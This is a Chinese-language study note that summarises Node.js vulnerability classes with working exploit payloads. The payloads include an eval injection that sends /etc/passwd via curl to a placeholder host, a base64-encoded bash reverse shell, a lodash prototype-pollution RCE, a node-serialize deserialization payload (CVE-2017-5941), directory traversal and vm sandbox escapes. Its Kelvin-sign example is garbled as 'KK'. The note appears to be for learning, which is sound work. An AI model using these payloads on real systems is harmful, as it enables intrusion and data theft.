Node.js 常见漏洞学习与总结
字数 1646 2025-08-25 22:59:03
Node.js 常见漏洞学习与总结
1. 危险函数导致的命令执行
1.1 eval() 函数漏洞
eval() 函数可计算字符串并执行其中的 JavaScript 代码,如果参数可控且未经过严格过滤,会导致命令执行漏洞。
漏洞示例代码:
var express = require("express");
var app = express();
app.get('/eval', function(req, res){
res.send(eval(req.query.q));
console.log(req.query.q);
})
var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})
利用方式:
- 弹计算器(Windows):
/eval?q=require('child_process').exec('calc'); - 读取文件(Linux):
/eval?q=require('child_process').exec('curl -F "x=cat /etc/passwd" http://vps'); - 反弹Shell(Linux):
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');
注意事项:
- BASE64加密后的字符中"+"号需要URL编码为"%2B"
- 如果上下文中没有require,可以使用:
global.process.mainModule.constructor._load('child_process').exec('calc')
1.2 其他危险函数
setInterval(some_function, 2000)- 间隔执行函数setTimeout(some_function, 2000)- 延迟执行函数Function("console.log('HelloWorld')")()- 类似于PHP的create_function
2. 原型链污染漏洞
2.1 原型链基础
- 每个实例对象都有
prototype属性,可以向对象添加属性和方法 - 每个实例对象都有
__proto__属性,指向对象的原型对象 - 访问原型对象的方式:
objectname["__proto__"] objectname.__proto__ objectname.constructor.prototype
2.2 原型链污染原理
对于语句:object[a][b] = value,如果控制a为__proto__,就可以给object对象的原型设置属性b=value,影响所有继承该原型的对象。
示例:
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); // Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); // Hello World
2.3 merge操作导致的原型链污染
漏洞示例:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b) // 1 2
object3 = {}
console.log(object3.b) // 2
2.4 实际案例:Code-Breaking 2018 Thejs
利用lodash.merge函数进行原型链污染,控制lodash.template的sourceURL属性实现RCE。
Payload:
{
"__proto__": {
"sourceURL": "\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"
}
}
3. node-serialize反序列化RCE漏洞(CVE-2017-5941)
3.1 漏洞原理
node-serialize@0.0.4在反序列化时会使用eval执行函数,通过构造IIFE(立即调用函数表达式)实现代码执行。
漏洞代码:
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length))
3.2 利用方式
生成Payload:
serialize = require('node-serialize');
var test = {
rce: function(){
require('child_process').exec('ls /', function(error, stdout, stderr){
console.log(stdout)
});
},
}
console.log("序列化生成的Payload:\n" + serialize.serialize(test));
构造IIFE:
在生成的序列化字符串的函数后面添加()使其立即执行:
{"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}
4. 目录穿越漏洞(CVE-2017-14849)
4.1 影响版本
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
4.2 利用方式
访问/static/a/etc/passwd即可下载/etc/passwd文件
5. vm沙箱逃逸
5.1 逃逸原理
通过this.constructor.constructor获取Function构造函数,在主程序上下文中执行代码。
示例:
const vm = require("vm");
const env = vm.runInNewContext(
`this.constructor.constructor('return this.process.env')()`
);
console.log(env);
5.2 命令执行
const vm = require("vm");
const env = vm.runInNewContext(
`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`
);
console.log(env);
6. JavaScript大小写特性
6.1 特殊字符
toUpperCase():- "ı" → "I"
- "ſ" → "S"
toLowerCase():- "KK" → "k" (不是字母K)
6.2 实际应用
可用于绕过用户名检查等场景,如:
function isValidUser(u) {
return (u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase());
}
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
使用"hacKKtm"可绕过对"hacktm"的检查。